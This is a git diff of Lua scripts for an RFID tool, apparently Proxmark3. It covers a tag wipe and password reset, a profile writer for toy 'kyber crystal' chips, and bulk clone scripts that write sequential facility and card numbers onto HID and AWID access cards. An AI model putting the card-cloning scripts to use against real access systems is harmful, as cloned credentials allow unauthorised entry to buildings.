currentLowLockPage = string.sub(resp,17,24) + if(string.sub(currentLowLockPage,5,8) ~= '0000') then + info, err = magicWakeup() + if not info then return false, err end + local newLowLockPage = string.sub(currentLowLockPage,1,4)..'0000' + io.write('Clearing lock bytes on page 0x02...') + resp, err = sendWithResponse('A202'..newLowLockPage, {connect = true, ignore_response = false, keep_signal = true, append_crc = true}) + if err ~= nil then return false, err end + print(ansicolors.green..'done'..ansicolors.reset..'.') + end + + -- clear lock bytes on page 0x24 + io.write('Clearing lock bytes on page 0x24...') + info, err = reconnect() + if not info then return false, err end + resp, err = sendWithResponse('A224000000BD') + if err ~= nil then return false, err end + print(ansicolors.green..'done'..ansicolors.reset..'.') + + -- clear configs + io.write('Clearing cfg0 and cfg1...') + resp, err = sendWithResponse('A225000000FF') + if err ~= nil then return false, err end + resp, err = sendWithResponse('A22600050000') + if err ~= nil then return false, err end + print(ansicolors.green..'done'..ansicolors.reset..'.') + + -- clear password + io.write('Reseting password (and pack) to default ('.._defaultPassword..') and 0000...') + info, err = reconnect() + if not info then return false, err end + resp, err = sendWithResponse('A227'.._defaultPassword) + if err ~= nil then return false, err end + resp, err = sendWithResponse('A22800000000') + if err ~= nil then return false, err end + if not setPassword(_defaultPassword) then return false, 'Unable to set password' end + info, err = reconnect() + if not info then return false, err end + print(ansicolors.green..'done'..ansicolors.reset..'.') + + -- clear other blocks + for i = 3, 0x23 do + local cblock = string.format('%02x',i) + io.write('Clearing block 0x'..cblock..'...') + resp, err = sendWithResponse('A2'..cblock..'00000000') + if err ~= nil then return false, err end + print(ansicolors.green..'done'..ansicolors.reset..'.') + end + + print(ansicolors.green..'The tag has been wiped.'..ansicolors.reset) + + lib14a.disconnect() + return true +end +-- + +-- Prints help +local function help() + print(copyright) + print(author) + print(version) + print(desc) + print(ansicolors.cyan..'Usage'..ansicolors.reset) + print(usage) + print(ansicolors.cyan..'Arguments'..ansicolors.reset) + print(arguments) + print(ansicolors.cyan..'Example usage'..ansicolors.reset) + print(example) +end +--- + +-- The main entry point +local function main(args) + if #args == 0 then return help() end + + local dumpFilename = nil + + for opt, value in getopt.getopt(args, 'hf:k:rw') do + local res, err + res = true + if opt == "h" then return help() end + if opt == "f" then dumpFilename = value end + if opt == 'k' then res, err = setPassword(value) end + if opt == 'r' then res, err = writeDump(dumpFilename) end + if opt == 'w' then res, err = wipe() end + if not res then return error(err) end + end + +end + +main(args) diff --git a/client/luascripts/hf_ntag_bruteforce.lua b/client/luascripts/hf_ntag_bruteforce.lua index e7a347560..29c8a892c 100644 --- a/client/luascripts/hf_ntag_bruteforce.lua +++ b/client/luascripts/hf_ntag_bruteforce.lua @@ -143,7 +143,7 @@ end local function writeOutputBytes(bytes, outfile) local fileout,err = io.open(outfile,"wb") if err then - print("### ERROR - Faild to open output-file "..outfile) + print("### ERROR - Failed to open output-file "..outfile) return false end for i = 1, #bytes do diff --git a/client/luascripts/kybercrystals.lua b/client/luascripts/kybercrystals.lua new file mode 100644 index 000000000..1b707768b --- /dev/null +++ b/client/luascripts/kybercrystals.lua @@ -0,0 +1,747 @@ +--[[ + Simple script to program DIY kyber crystals + works on real kyber crystals and EM4305 2.12x12mm chips + simply run the program and select a profile via a number + + issues + if you are getting errors when trying to read or write a chip + run the cmd "lf tune" with no chip on the device, then move the chip over the coils till you see the lowest voltage. try different angles and in the center and or the edge of the antenna ring. + once you find the lowest voltage then try running the script again. + if thats still not working run "lf tune" again and put the chip in the best position like before + the total voltage may be too high to reduce it slowly lower tin foil over the antenna and watch the voltage. + the foil should be a bit bigger than the coil exact size does not matter. + + data pulled from here + https://docs.google.com/spreadsheets/d/13P_GE6tNYpGvoVUTEQvA3SQzMqpZ-SoiWaTNoJoTV9Q/edit?usp=sharing +--]] + +local cmds = require('commands') +local utils = require('utils') + + +function send_command(cmd) + core.console(cmd) + return "" +end + +function get_profile_data(profile_name) + local profiles = { + ["wipe chip"] = { + [0] = "00000000", + [1] = "00000000", + [2] = "00000000", + [3] = "00000000", + [4] = "00000000", + [5] = "00000000", + [6] = "00000000", + [7] = "00000000", + [8] = "00000000", + [9] = "00000000" + }, + ["Qui-Gon Jinn"] = { + [0] = "00040072", + [1] = "6147FBB3", + [2] = "00000000", + [3] = "000064FC", + [4] = "0001805F", + [5] = "000001FF", + [6] = "0C803000", + [7] = "00000000", + [8] = "00000000", + [9] = "00000000" + }, + ["Qui-Gon Jinn 2"] = { + [0] = "00040072", + [1] = "6148C1EF", + [2] = "00000000", + [3] = "000050C2", + [4] = "0001805F", + [5] = "000001FF", + [6] = "0C803000", + [7] = "00000000", + [8] = "10000040", + [9] = "00000000" + }, + ["Yoda"] = { + [0] = "00040072", + [1] = "660A50D6", + [2] = "00000000", + [3] = "0000379F", + [4] = "0001805F", + [5] = "000001FF", + [6] = "00C03000", + [7] = "00000000", + [8] = "00100040", + [9] = "00000000" + }, + ["Yoda 2"] = { + [0] = "00040072", + [1] = "667B2FEE", + [2] = "00000000", + [3] = "0000BDB6", + [4] = "0001805F", + [5] = "000001FF", + [6] = "00C03000", + [7] = "00000000", + [8] = "00100040", + [9] = "00000000" + }, + ["Yoda 8-Ball"] = { + [0] = "00040072", + [1] = "67AD7FC8", + [2] = "00000000", + [3] = "0000E0FE", + [4] = "0001805F", + [5] = "000001FF", + [6] = "5D183000", + [7] = "00000000", + [8] = "00000140", + [9] = "00000000" + }, + ["Old Obi-Wan"] = { + [0] = "00040072", + [1] = "6147BBB9", + [2] = "00000000", + [3] = "0000BE24", + [4] = "0001805F", + [5] = "000001FF", + [6] = "29803000", + [7] = "00000000", + [8] = "00000000", + [9] = "00000000" + }, + ["Old Luke"] = { + [0] = "00040072", + [1] = "614097AE", + [2] = "00000000", + [3] = "0000C134", + [4] = "0001805F", + [5] = "000001FF", + [6] = "25C03000", + [7] = "00000000", + [8] = "00100060", + [9] = "00000000" + }, + ["Old Obi-Wan 2"] = { + [0] = "00040072", + [1] = "614009A2", + [2] = "00000000", + [3] = "0000CF62", + [4] = "0001805F", + [5] = "000001FF", + [6] = "29803000", + [7] = "00000000", + [8] = "01000060", + [9] = "00000000" + }, + ["Old Luke 2"] = { + [0] = "00040072", + [1] = "75952DE5", + [2] = "00000000", + [3] = "00009988", + [4] = "0001805F", + [5] = "000001FF", + [6] = "25C03000", + [7] = "00000000", + [8] = "00010060", + [9] = "00000000" + }, + ["Old Obi-Wan 3"] = { + [0] = "00040072", + [1] = "65413B42", + [2] = "00000000", + [3] = "00001702", + [4] = "0001805F", + [5] = "000001FF", + [6] = "29803000", + [7] = "00000000", + [8] = "01000060", + [9] = "00000000" + }, + ["Mace Windu"] = { + [0] = "00040072", + [1] = "6147CCD4", + [2] = "00000000", + [3] = "0000A092", + [4] = "0001805F", + [5] = "000001FF", + [6] = "63C03000", + [7] = "00000000", + [8] = "00000000", + [9] = "00000000" + }, + ["Mace Windu 2"] = { + [0] = "00040072", + [1] = "6609B150", + [2] = "00000000", + [3] = "0000287E", + [4] = "0001805F", + [5] = "000001FF", + [6] = "63C03000", + [7] = "00000000", + [8] = "00010070", + [9] = "00000000" + }, + ["Mace Windu 3"] = { + [0] = "00040072", + [1] = "613F42AD", + [2] = "00000000", + [3] = "00002147", + [4] = "0001805F", + [5] = "000001FF", + [6] = "6F803000", + [7] = "00000000", + [8] = "01000070", + [9] = "00000000" + }, + ["Mace Windu 4"] = { + [0] = "00040072", + [1] = "667B5B82", + [2] = "00000000", + [3] = "000050DF", + [4] = "0001805F", + [5] = "000001FF", + [6] = "6F803000", + [7] = "00000000", + [8] = "10000070", + [9] = "00000000" + }, + ["Mace Windu 5"] = { + [0] = "00040072", + [1] = "614869C4", + [2] = "00000000", + [3] = "0000D691", + [4] = "0001805F", + [5] = "000001FF", + [6] = "6F803000", + [7] = "00000000", + [8] = "01000070", + [9] = "00000000" + }, + ["Mace Windu 6"] = { + [0] = "00040072", + [1] = "759BEA43", + [2] = "00000000", + [3] = "00006CA0", + [4] = "0001805F", + [5] = "000001FF", + [6] = "63C03000", + [7] = "00000000", + [8] = "00100070", + [9] = "00000000" + }, + ["Mace Windu 7"] = { + [0] = "00040072", + [1] = "768E0D9D", + [2] = "00000000", + [3] = "0000668C", + [4] = "0001805F", + [5] = "000001FF", + [6] = "6F803000", + [7] = "00000000", + [8] = "01000070", + [9] = "00000000" + }, + ["Temple Guard"] = { + [0] = "00040072", + [1] = "60954FDA", + [2] = "00000000", + [3] = "0000905A", + [4] = "0001805F", + [5] = "000001FF", + [6] = "7B003000", + [7] = "00000000", + [8] = "00000000", + [9] = "00000000" + }, + ["Maz Kanata"] = { + [0] = "00040072", + [1] = "6679DFF4", + [2] = "00000000", + [3] = "0000D691", + [4] = "0001805F", + [5] = "000001FF", + [6] = "77403000", + [7] = "00000000", + [8] = "00100030", + [9] = "00000000" + }, + ["Maz Kanata 2"] = { + [0] = "00040072", + [1] = "60953999", + [2] = "00000000", + [3] = "0000F521", + [4] = "0001805F", + [5] = "000001FF", + [6] = "77403000", + [7] = "00000000", + [8] = "00100030", + [9] = "00000000" + }, + ["Temple Guard 2"] = { + [0] = "00040072", + [1] = "667A67C5", + [2] = "00000000", + [3] = "00002B9C", + [4] = "0001805F", + [5] = "000001FF", + [6] = "7B003000", + [7] = "00000000", + [8] = "10000030", + [9] = "00000000" + }, + ["Maz Kanata 3"] = { + [0] = "00040072", + [1] = "7A213721", + [2] = "00000000", + [3] = "000083AB", + [4] = "0001805F", + [5] = "000001FF", + [6] = "77403000", + [7] = "00000000", + [8] = "00010030", + [9] = "00000000" + }, + ["Chirrut Îmwe"] = { + [0] = "00040072", + [1] = "6094F399", + [2] = "00000000", + [3] = "00009519", + [4] = "0001805F", + [5] = "000001FF", + [6] = "14403000", + [7] = "00000000", + [8] = "00000000", + [9] = "00000000" + }, + ["Chirrut Îmwe 2"] = { + [0] = "00040072", + [1] = "667A9AB7", + [2] = "00000000", + [3] = "00003BE4", + [4] = "0001805F", + [5] = "000001FF", + [6] = "14403000", + [7] = "00000000", + [8] = "00010000", + [9] = "00000000" + }, + ["Ahsoka Tano"] = { + [0] = "00040072", + [1] = "667B1626", + [2] = "00000000", + [3] = "00007907", + [4] = "0001805F", + [5] = "000001FF", + [6] = "18003000", + [7] = "00000000", + [8] = "10000000", + [9] = "00000000" + }, + ["Chirrut Îmwe 3"] = { + [0] = "00040072", + [1] = "667B7E07", + [2] = "00000000", + [3] = "00002960", + [4] = "0001805F", + [5] = "000001FF", + [6] = "14403000", + [7] = "00000000", + [8] = "00100000", + [9] = "00000000" + }, + ["Darth Vader"] = { + [0] = "00040072", + [1] = "6148C4F8", + [2] = "00000000", + [3] = "0000FDFF", + [4] = "0001805F", + [5] = "000001FF", + [6] = "5E003000", + [7] = "00000000", + [8] = "00000000", + [9] = "00000000" + }, + ["Darth Sidious"] = { + [0] = "00040072", + [1] = "613F8964", + [2] = "00000000", + [3] = "0000C0C1", + [4] = "0001805F", + [5] = "000001FF", + [6] = "52403000", + [7] = "00000000", + [8] = "00000000", + [9] = "00000000" + }, + ["Darth Maul"] = { + [0] = "00040072", + [1] = "613FD2A9", + [2] = "00000000", + [3] = "0000DAD2", + [4] = "0001805F", + [5] = "000001FF", + [6] = "46C03000", + [7] = "00000000", + [8] = "00000000", + [9] = "00000000" + }, + ["Count Dooku"] = { + [0] = "00040072", + [1] = "6140880C", + [2] = "00000000", + [3] = "0000952D", + [4] = "0001805F", + [5] = "000001FF", + [6] = "31403000", + [7] = "00000000", + [8] = "00010010", + [9] = "00000000" + }, + ["Darth Vader 2"] = { + [0] = "00040072", + [1] = "667B33DC", + [2] = "00000000", + [3] = "0000E804", + [4] = "0001805F", + [5] = "000001FF", + [6] = "5E003000", + [7] = "00000000", + [8] = "01000010", + [9] = "00000000" + }, + ["Darth Maul 2"] = { + [0] = "00040072", + [1] = "667B26E9", + [2] = "00000000", + [3] = "00007689", + [4] = "0001805F", + [5] = "000001FF", + [6] = "46C03000", + [7] = "00000000", + [8] = "00100010", + [9] = "00000000" + }, + ["Vader 8-Ball"] = { + [0] = "00040072", + [1] = "6A92B478", + [2] = "00000000", + [3] = "00004CD1", + [4] = "0001805F", + [5] = "000001FF", + [6] = "3E183000", + [7] = "00000000", + [8] = "00000110", + [9] = "00000000" + }, + ["Darth Maul 3"] = { + [0] = "00040072", + [1] = "7597EF7E", + [2] = "00000000", + [3] = "00003BC0", + [4] = "0001805F", + [5] = "000001FF", + [6] = "46C03000", + [7] = "00000000", + [8] = "00100010", + [9] = "00000000" + }, + ["Darth Sidious 2"] = { + [0] = "00040072", + [1] = "768E4402", + [2] = "00000000", + [3] = "0000A0D2", + [4] = "0001805F", + [5] = "000001FF", + [6] = "52403000", + [7] = "00000000", + [8] = "10000010", + [9] = "00000000" + }, + ["Snoke"] = { + [0] = "00040072", + [1] = "6540BD8F", + [2] = "00000000", + [3] = "000064B9", + [4] = "0001805F", + [5] = "000001FF", + [6] = "1B183000", + [7] = "00000000", + [8] = "00001010", + [9] = "00000000" + }, + ["Luke Skywalker"] = { + [0] = "00040072", + [1] = "804B08F0", + [2] = "00000000", + [3] = "00006BF1", + [4] = "0001805F", + [5] = "18C631FF", + [6] = "0C803000", + [7] = "00000000", + [8] = "00000000", + [9] = "050D0000" + }, + ["Luminara Unduli"] = { + [0] = "00040072", + [1] = "7B83C85A", + [2] = "00000000", + [3] = "000052CE", + [4] = "0001805F", + [5] = "18C631FF", + [6] = "0C803000", + [7] = "00000000", + [8] = "00000000", + [9] = "180D0000" + }, + ["Plo Koon"] = { + [0] = "00040072", + [1] = "7B8998F3", + [2] = "00000000", + [3] = "00007703", + [4] = "0001805F", + [5] = "18C631FF", + [6] = "29803000", + [7] = "00000000", + [8] = "00000000", + [9] = "040D0000" + }, + ["Plo Koon 2"] = { + [0] = "00040072", + [1] = "7B8413EA", + [2] = "00000000", + [3] = "0000D8F3", + [4] = "0001805F", + [5] = "18C631FF", + [6] = "29803000", + [7] = "00000000", + [8] = "00000000", + [9] = "040D0000" + }, + ["Plo Koon 3"] = { + [0] = "00040072", + [1] = "7B84222B", + [2] = "00000000", + [3] = "000023E3", + [4] = "0001805F", + [5] = "18C631FF", + [6] = "29803000", + [7] = "00000000", + [8] = "00000000", + [9] = "040D0000" + }, + ["Mace Windu S2"] = { + [0] = "00040072", + [1] = "7B8936EA", + [2] = "00000000", + [3] = "0000520D", + [4] = "0001805F", + [5] = "18C631FF", + [6] = "6F803000", + [7] = "00000000", + [8] = "00000000", + [9] = "070D0000" + }, + ["General Grievous"] = { + [0] = "00040072", + [1] = "7B896284", + [2] = "00000000", + [3] = "00008529", + [4] = "0001805F", + [5] = "18C631FF", + [6] = "6F803000", + [7] = "00000000", + [8] = "00000000", + [9] = "060D0000" + }, + ["Rey Skywalker"] = { + [0] = "00040072", + [1] = "7B88F3F4", + [2] = "00000000", + [3] = "00001511", + [4] = "0001805F", + [5] = "18C631FF", + [6] = "7B003000", + [7] = "00000000", + [8] = "00000000", + [9] = "170D0000" + }, + ["Rey Skywalker 2"] = { + [0] = "00040072", + [1] = "7B841039", + [2] = "00000000", + [3] = "0000EA22", + [4] = "0001805F", + [5] = "18C631FF", + [6] = "7B003000", + [7] = "00000000", + [8] = "00000000", + [9] = "170D0000" + }, + ["Krin Dagbard"] = { + [0] = "00040072", + [1] = "7B894F46", + [2] = "00000000", + [3] = "00007BC2", + [4] = "0001805F", + [5] = "18C631FF", + [6] = "18003000", + [7] = "00000000", + [8] = "00000000", + [9] = "140D0000" + }, + ["Krin Dagbard 2"] = { + [0] = "00040072", + [1] = "7B841797", + [2] = "00000000", + [3] = "00006A58", + [4] = "0001805F", + [5] = "18C631FF", + [6] = "18003000", + [7] = "00000000", + [8] = "00000000", + [9] = "140D0000" + }, + ["Grand Inquisitor"] = { + [0] = "00040072", + [1] = "7B841185", + [2] = "00000000", + [3] = "00004656", + [4] = "0001805F", + [5] = "18C631FF", + [6] = "5E003000", + [7] = "00000000", + [8] = "00000000", + [9] = "130D0000" + }, + ["Maul"] = { + [0] = "00040072", + [1] = "7B895525", + [2] = "00000000", + [3] = "00003104", + [4] = "0001805F", + [5] = "18C631FF", + [6] = "5E003000", + [7] = "00000000", + [8] = "00000000", + [9] = "110D0000" + }, + ["Grand Inquisitor 2"] = { + [0] = "00040072", + [1] = "804B091A", + [2] = "00000000", + [3] = "00005909", + [4] = "0001805F", + [5] = "18C631FF", + [6] = "5E003000", + [7] = "00000000", + [8] = "00000000", + [9] = "130D0000" + }, + ["Asajj Ventress"] = { + [0] = "00040072", + [1] = "7A1C1F46", + [2] = "00000000", + [3] = "00008E4D", + [4] = "0001805F", + [5] = "18C631FF", + [6] = "5E003000", + [7] = "00000000", + [8] = "00000000", + [9] = "080D0000" + }, + ["Darth Sidious s2"] = { + [0] = "00040072", + [1] = "00000000", + [2] = "00000000", + [3] = "00000000", + [4] = "0001805F", + [5] = "18C631FF", + [6] = "5E003000", + [7] = "00000000", + [8] = "00000000", + [9] = "010D0000" + } + } + + -- When called without arguments, return the whole table + if not profile_name then + return profiles + end + + -- Otherwise return the specific profile or wipe chip + return profiles[profile_name] or profiles["wipe chip"] +end + +function get_profile_names() + -- Get the complete profiles table from get_profile_data + local all_profiles = get_profile_data() + + local names = {} + for name, _ in pairs(all_profiles) do + table.insert(names, name) + end + table.sort(names) + return names +end + +function select_profile() + local profile_names = get_profile_names() + + print("\nAvailable profiles:") + for i, name in ipairs(profile_names) do + print(string.format("%d. %s", i, name)) + end + + while true do + io.write("\nSelect profile (1-" .. #profile_names .. "): ") + local choice = tonumber(io.read()) + + if choice and choice >= 1 and choice <= #profile_names then + return profile_names[choice] + else + print("Invalid selection. Please try again.") + end + end +end + +function main() + print("\n[=== kyber crystal programmer ===]") + + -- Get profile from command line argument or prompt user + local profile_name = args and args[1] + if not profile_name then + --print("\nNo profile specified as argument.") + profile_name = select_profile() + end + + local data_to_write = get_profile_data(profile_name) + print("\n[+] Using profile: " .. profile_name) + + -- Display what will be written + print("\n[+] Data to be written:") + for addr, data in pairs(data_to_write) do + print(string.format("Address %d: %s", addr, data)) + end + + -- Step 1: Wipe the tag + print("\n[+] Wiping tag...") + send_command("lf em 4x05 wipe --4305") + + -- Step 2: Write data + print("\n[+] Writing data...") + for addr, data in pairs(data_to_write) do + send_command("lf em 4x05 write -a " .. addr .. " -d " .. data) + utils.Sleep(0.5) + end + + -- Step 3: Read back and display data for verification + print("\n[+] Verifying writes by reading back data...") + for addr, expected_data in pairs(data_to_write) do + local output = send_command("lf em 4x05 read -a " .. addr) + end + + print("\n[+] Read complete. Review output above.") +end + +main() diff --git a/client/luascripts/lf_awid_bulkclone.lua b/client/luascripts/lf_awid_bulkclone.lua index 0085a09c9..3fa145ec2 100644 --- a/client/luascripts/lf_awid_bulkclone.lua +++ b/client/luascripts/lf_awid_bulkclone.lua @@ -1,128 +1,128 @@ -local getopt = require('getopt') - - -copyright = '' -author = "TheChamp669" -version = 'v1.0.0' -desc = [[ -Perform bulk enrollment of 26 bit AWID style RFID Tags -For more info, check the comments in the code -]] -example = [[ - -- - script run lf_awid_bulkclone.lua -f 1 -b 1000 -]] -usage = [[ -script run lf_awid_bulkclone.lua -f facility -b base_id_num -]] -arguments = [[ - -h : this help - -f : facility id - -b : starting card id -]] -local DEBUG = true ---- --- A debug printout-function -local function dbg(args) - if not DEBUG then return end - if type(args) == 'table' then - local i = 1 - while args[i] do - dbg(args[i]) - i = i+1 - end - else - print('###', args) - end -end ---- --- This is only meant to be used when errors occur -local function oops(err) - print('ERROR:', err) - core.clearCommandBuffer() - return nil, errr -end ---- --- Usage help -local function help() - print(copyright) - print(author) - print(version) - print(desc) - print(ansicolors.cyan..'Usage'..ansicolors.reset) - print(usage) - print(ansicolors.cyan..'Arguments'..ansicolors.reset) - print(arguments) - print(ansicolors.cyan..'Example usage'..ansicolors.reset) - print(example) -end ---- --- Exit message -local function exitMsg(msg) - print( string.rep('--',20) ) - print( string.rep('--',20) ) - print(msg) - print() -end - -local function showHelp() - print("Usage: script run [-h]") - print("Options:") - print("-h \t This help") -end - -local function main(args) - - - print( string.rep('--',20) ) - print( string.rep('--',20) ) - print() - - if #args == 0 then return help() end - - for o, a in getopt.getopt(args, 'f:b:c:h') do - if o == 'h' then return help() end - if o == 'f' then - if isempty(a) then - print('You did not supply a facility code, using 255') - fc = 255 - else - fc = a - end - end - if o == 'b' then - if isempty(a) then - print('You did not supply a starting card number, using 59615') - cn = 59615 - else - cn = a - end - end - end - - -- Example starting values - local sessionStart = os.date("%Y_%m_%d_%H_%M_%S") -- Capture the session start time - - print("Session Start: " .. sessionStart) - print("Facility Code,Card Number") - - while true do - print(string.format("Preparing to Write: Facility Code %d, Card Number %d", fc, cn)) - - local command = string.format("lf awid clone --fmt 26 --fc %d --cn %d", fc, cn) - core.console(command) - - print(string.format("%d,%d", fc, cn)) - - print("Press Enter to continue with the next card number or type 'q' and press Enter to quit.") - local user_input = io.read() - - if user_input:lower() == 'q' then - break - else - cn = cn + 1 - end - end -end - +local getopt = require('getopt') + + +copyright = '' +author = "TheChamp669" +version = 'v1.0.0' +desc = [[ +Perform bulk enrollment of 26 bit AWID style RFID Tags +For more info, check the comments in the code +]] +example = [[ + -- + script run lf_awid_bulkclone.lua -f 1 -b 1000 +]] +usage = [[ +script run lf_awid_bulkclone.lua -f facility -b base_id_num +]] +arguments = [[ + -h : this help + -f : facility id + -b : starting card id +]] +local DEBUG = true +--- +-- A debug printout-function +local function dbg(args) + if not DEBUG then return end + if type(args) == 'table' then + local i = 1 + while args[i] do + dbg(args[i]) + i = i+1 + end + else + print('###', args) + end +end +--- +-- This is only meant to be used when errors occur +local function oops(err) + print('ERROR:', err) + core.clearCommandBuffer() + return nil, errr +end +--- +-- Usage help +local function help() + print(copyright) + print(author) + print(version) + print(desc) + print(ansicolors.cyan..'Usage'..ansicolors.reset) + print(usage) + print(ansicolors.cyan..'Arguments'..ansicolors.reset) + print(arguments) + print(ansicolors.cyan..'Example usage'..ansicolors.reset) + print(example) +end +--- +-- Exit message +local function exitMsg(msg) + print( string.rep('--',20) ) + print( string.rep('--',20) ) + print(msg) + print() +end + +local function showHelp() + print("Usage: script run [-h]") + print("Options:") + print("-h \t This help") +end + +local function main(args) + + + print( string.rep('--',20) ) + print( string.rep('--',20) ) + print() + + if #args == 0 then return help() end + + for o, a in getopt.getopt(args, 'f:b:c:h') do + if o == 'h' then return help() end + if o == 'f' then + if isempty(a) then + print('You did not supply a facility code, using 255') + fc = 255 + else + fc = a + end + end + if o == 'b' then + if isempty(a) then + print('You did not supply a starting card number, using 59615') + cn = 59615 + else + cn = a + end + end + end + + -- Example starting values + local sessionStart = os.date("%Y_%m_%d_%H_%M_%S") -- Capture the session start time + + print("Session Start: " .. sessionStart) + print("Facility Code,Card Number") + + while true do + print(string.format("Preparing to Write: Facility Code %d, Card Number %d", fc, cn)) + + local command = string.format("lf awid clone --fmt 26 --fc %d --cn %d", fc, cn) + core.console(command) + + print(string.format("%d,%d", fc, cn)) + + print("Press Enter to continue with the next card number or type 'q' and press Enter to quit.") + local user_input = io.read() + + if user_input:lower() == 'q' then + break + else + cn = cn + 1 + end + end +end + main(args) diff --git a/client/luascripts/lf_electra.lua b/client/luascripts/lf_electra.lua index 5b0886aa4..2c130ba7a 100644 --- a/client/luascripts/lf_electra.lua +++ b/client/luascripts/lf_electra.lua @@ -145,7 +145,7 @@ local function readfile() local f = io.open(ID_STATUS, "r") for line in f:lines() do id = line:match"^(%x+)" - if id then break end + if id then break end end f:close() if not id then @@ -299,7 +299,7 @@ local function main(args) if answer == 'n' then core.console('clear') print( string.rep('--',39) ) - print(ac.red..' USER ABORTED'..ac.reset) + print(ac.red..' Aborted via keyboard!'..ac.reset) print( string.rep('--',39) ) break end diff --git a/client/luascripts/lf_em4100_bulk.lua b/client/luascripts/lf_em4100_bulk.lua index 87d8bc91b..8a2ff399e 100644 --- a/client/luascripts/lf_em4100_bulk.lua +++ b/client/luascripts/lf_em4100_bulk.lua @@ -198,7 +198,7 @@ local function main(args) core.console('lf em 410x reader') end else - print(ac.red..'User aborted'..ac.reset) + print(ac.red..'aborted via keyboard!'..ac.reset) low = i break end diff --git a/client/luascripts/lf_hid_bulkclone_v2.lua b/client/luascripts/lf_hid_bulkclone_v2.lua index 33d084dd8..50762e8f1 100644 --- a/client/luascripts/lf_hid_bulkclone_v2.lua +++ b/client/luascripts/lf_hid_bulkclone_v2.lua @@ -1,131 +1,131 @@ -local getopt = require('getopt') -local ansicolors = require('ansicolors') -local cmds = require('commands') - -copyright = '' -author = "TheChamop669" -version = 'v1.0.1' -desc = [[ -Perform bulk enrollment of 26 bit H10301 style RFID Tags -For more info, check the comments in the code -]] -example = [[ - -- - script run lf_hid_bulkclone_v2.lua -f 1 -b 1000 -]] -usage = [[ -script run lf_hid_bulkclone_v2.lua -f facility -b base_id_num -]] -arguments = [[ - -h : this help - -f : facility id - -b : starting card id -]] -local DEBUG = true ---- --- A debug printout-function -local function dbg(args) - if not DEBUG then return end - if type(args) == 'table' then - local i = 1 - while args[i] do - dbg(args[i]) - i = i+1 - end - else - print('###', args) - end -end ---- --- This is only meant to be used when errors occur -local function oops(err) - print('ERROR:', err) - core.clearCommandBuffer() - return nil, errr -end ---- --- Usage help -local function help() - print(copyright) - print(author) - print(version) - print(desc) - print(ansicolors.cyan..'Usage'..ansicolors.reset) - print(usage) - print(ansicolors.cyan..'Arguments'..ansicolors.reset) - print(arguments) - print(ansicolors.cyan..'Example usage'..ansicolors.reset) - print(example) -end ---- --- Exit message -local function exitMsg(msg) - print( string.rep('--',20) ) - print( string.rep('--',20) ) - print(msg) - print() -end - -local function main(args) - - print( string.rep('--',20) ) - print( string.rep('--',20) ) - print() - - if #args == 0 then return help() end - - for o, a in getopt.getopt(args, 'f:b:h') do - if o == 'h' then return help() end - if o == 'f' then - if isempty(a) then - print('You did not supply a facility code, using 0') - fc = 10 - else - fc = a - end - end - if o == 'b' then - if isempty(a) then - print('You did not supply a starting card number, using 1000') - cn = 1000 - else - cn = a - end - end - end - - local successful_writes = {} - local timestamp = os.date('%Y-%m-%d %H:%M:%S', os.time()) - - while true do - print(string.format("Writing Facility Code: %d, Card Number: %d", fc, cn)) - - local command = string.format("lf hid clone -w H10301 --fc %d --cn %d", fc, cn) - core.console(command) - - table.insert(successful_writes, string.format("%d,%d", fc, cn)) - - print("Press Enter to write the next card, type 'r' and press Enter to retry, or type 'q' and press Enter to quit.") - local user_input = io.read() - - if user_input:lower() == 'q' then - print("Timestamp: ", timestamp) - print("Successful Writes:") - for _, v in ipairs(successful_writes) do print(v) end - break - elseif user_input:lower() ~= 'r' then - cn = cn + 1 - end - end -end - -main(args) - ---[[ -Notes: -1. The `lf hid clone` command is used to write HID formatted data to T5577 cards, using the H10301 format. -2. The script prompts the user for the initial facility code and card number at the start of the session. -3. Users can continue to write to the next card, retry the current write, or quit the session by responding to the prompts. -4. Upon quitting, the script prints all successful writes along with a timestamp. -5. Password-related features have been removed in this version of the script as they are not supported by the `lf hid clone` command. -]] +local getopt = require('getopt') +local ansicolors = require('ansicolors') +local cmds = require('commands') + +copyright = '' +author = "TheChamop669" +version = 'v1.0.1' +desc = [[ +Perform bulk enrollment of 26 bit H10301 style RFID Tags +For more info, check the comments in the code +]] +example = [[ + -- + script run lf_hid_bulkclone_v2.lua -f 1 -b 1000 +]] +usage = [[ +script run lf_hid_bulkclone_v2.lua -f facility -b base_id_num +]] +arguments = [[ + -h : this help + -f : facility id + -b : starting card id +]] +local DEBUG = true +--- +-- A debug printout-function +local function dbg(args) + if not DEBUG then return end + if type(args) == 'table' then + local i = 1 + while args[i] do + dbg(args[i]) + i = i+1 + end + else + print('###', args) + end +end +--- +-- This is only meant to be used when errors occur +local function oops(err) + print('ERROR:', err) + core.clearCommandBuffer() + return nil, errr +end +--- +-- Usage help +local function help() + print(copyright) + print(author) + print(version) + print(desc) + print(ansicolors.cyan..'Usage'..ansicolors.reset) + print(usage) + print(ansicolors.cyan..'Arguments'..ansicolors.reset) + print(arguments) + print(ansicolors.cyan..'Example usage'..ansicolors.reset) + print(example) +end +--- +-- Exit message +local function exitMsg(msg) + print( string.rep('--',20) ) + print( string.rep('--',20) ) + print(msg) + print() +end + +local function main(args) + + print( string.rep('--',20) ) + print( string.rep('--',20) ) + print() + + if #args == 0 then return help() end + + for o, a in getopt.getopt(args, 'f:b:h') do + if o == 'h' then return help() end + if o == 'f' then + if isempty(a) then + print('You did not supply a facility code, using 0') + fc = 10 + else + fc = a + end + end + if o == 'b' then + if isempty(a) then + print('You did not supply a starting card number, using 1000') + cn = 1000 + else + cn = a + end + end + end + + local successful_writes = {} + local timestamp = os.date('%Y-%m-%d %H:%M:%S', os.time()) + + while true do + print(string.format("Writing Facility Code: %d, Card Number: %d", fc, cn)) + + local command = string.format("lf hid clone -w H10301 --fc %d --cn %d", fc, cn) + core.console(command) + + table.insert(successful_writes, string.format("%d,%d", fc, cn)) + + print("Press Enter to write the next card, type 'r' and press Enter to retry, or type 'q' and press Enter to quit.") + local user_input = io.read() + + if user_input:lower() == 'q' then + print("Timestamp: ", timestamp) + print("Successful Writes:") + for _, v in ipairs(successful_writes) do print(v) end + break + elseif user_input:lower() ~= 'r' then + cn = cn + 1 + end + end +end + +main(args) + +--[[ +Notes: +1. The `lf hid clone` command is used to write HID formatted data to T5577 cards, using the H10301 format. +2. The script prompts the user for the initial facility code and card number at the start of the session. +3. Users can continue to write to the next card, retry the current write, or quit the session by responding to the prompts. +4. Upon quitting, the script prints all successful writes along with a timestamp. +5. Password-related features have been removed in this version of the script as they are not supported by the `lf hid clone` command. +]] diff --git a/client/luascripts/lf_ioprox_bulkclone.lua b/client/luascripts/lf_ioprox_bulkclone.lua index 